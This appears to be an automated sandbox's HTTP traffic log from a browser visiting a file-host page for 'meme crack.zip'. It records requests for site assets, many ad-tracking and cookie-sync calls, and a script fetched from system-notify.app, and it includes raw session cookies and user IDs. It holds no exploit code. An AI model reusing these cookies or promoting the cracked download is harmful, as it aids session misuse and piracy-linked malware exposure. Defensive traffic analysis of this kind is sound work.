Source: global traffic	HTTP traffic detected: GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1Host: lg3.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/bootstrap.min.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/jquery.mCustomScrollbar.concat.min.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /images/sprite3.png HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/plugins.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/main.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/slice_white.png HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/ajax-mail.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /images/ltd.svg HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1Host: lg3.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/ajax-subscribe.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /usync/?pubId=2a897e3f18e6769&cb=1718442902185 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mailNotification.php?st=a96081b6-db78-48c4-9f82-b93e316fb1f7 HTTP/1.1Host: adtrack.adleadevent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AWSELBCORS=9FC54D150466C174912E5199B1F8E822A79961F4596BFB1311DF4AD552FFCAECC412B5A4F8D63A2A90D1DB19587375008B81DF393E974B37DE71BA6F26DE79F63E8F5DED51
Source: global traffic	HTTP traffic detected: GET /hit?t52.6;rhttps%3A//oxy.st/;s1280102424;uhttps%3A//download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.6960083325253306 HTTP/1.1Host: counter.yadro.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: VID=3Avj3L2_2d8p1cRLkH001V8p
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=0fkciot&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
Source: global traffic	HTTP traffic detected: GET /getuidj HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/footer-bg.png HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/slake/style.css?ver=6Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /wckr.php?ref=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&id=MTIZ HTTP/1.1Host: tag.leadplace.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel;r=1888409421;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8;ref=https%3A%2F%2Foxy.st%2F;uht=2;fpan=0;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;d=oxy.st;dst=1;et=1718442902355;tzo=240;ogl=;ses=7c707e20-89d0-4f06-b627-c56f11a9a0e9;mdl= HTTP/1.1Host: pixel.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mc=666d5b92-60e70-cef8b-92979
Source: global traffic	HTTP traffic detected: GET /f/sdk.js?z=651407 HTTP/1.1Host: system-notify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/footer-bg.png HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuidj HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /hit?t52.6;rhttps%3A//oxy.st/;s1280102424;uhttps%3A//download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.6960083325253306 HTTP/1.1Host: counter.yadro.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: VID=3Avj3L2_2d8p1cRLkH001V8p
Source: global traffic	HTTP traffic detected: GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&top=&pt=inread&_ts=1718442903095 HTTP/1.1Host: ads.adlook.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7
Source: global traffic	HTTP traffic detected: GET /pixel;r=1888409421;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8;ref=https%3A%2F%2Foxy.st%2F;uht=2;fpan=0;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;d=oxy.st;dst=1;et=1718442902355;tzo=240;ogl=;ses=7c707e20-89d0-4f06-b627-c56f11a9a0e9;mdl= HTTP/1.1Host: pixel.quantserve.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mc=666d5b92-60e70-cef8b-92979
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/favicon/favicon.ico HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /bounce HTTP/1.1Host: id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=captify_dmp&google_cm&dsp=dbm HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=f0f39a70-2c21-4d5d-af4b-7350637edcd5&r=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3DOPENX%26dsp_uid%3D%7BOPENX_ID%7D HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fs.cpx.to%2Ffire.js%3Fdsp%3Dapp_nexus%26dsp_uid%3D%24UID%26pid%3D12771%26ref%3Dhttps%253A%252F%252Foxy.st%252F%26url%3Dhttps%253A%252F%252Fdownload.oxy.st%252Fd%252FSmUh%252F2%252F5744b8343e4600a69fa0181348e90fc8%26hn_ver%3D76%26fid%3D48758480-4109-4e67-8f00-773986908703%26dsp%3DTTD%26dsp_uid%3D7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?rd=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3Dpubmatic%26dsp_uid%3D%23PM_USER_ID HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&id=f0f39a70-2c21-4d5d-af4b-7350637edcd5&r=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3DOPENX%26dsp_uid%3D%7BOPENX_ID%7D HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=2c735cb3-355f-4f5f-8240-fd04eee473db\|1718442905
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/favicon/favicon.ico HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
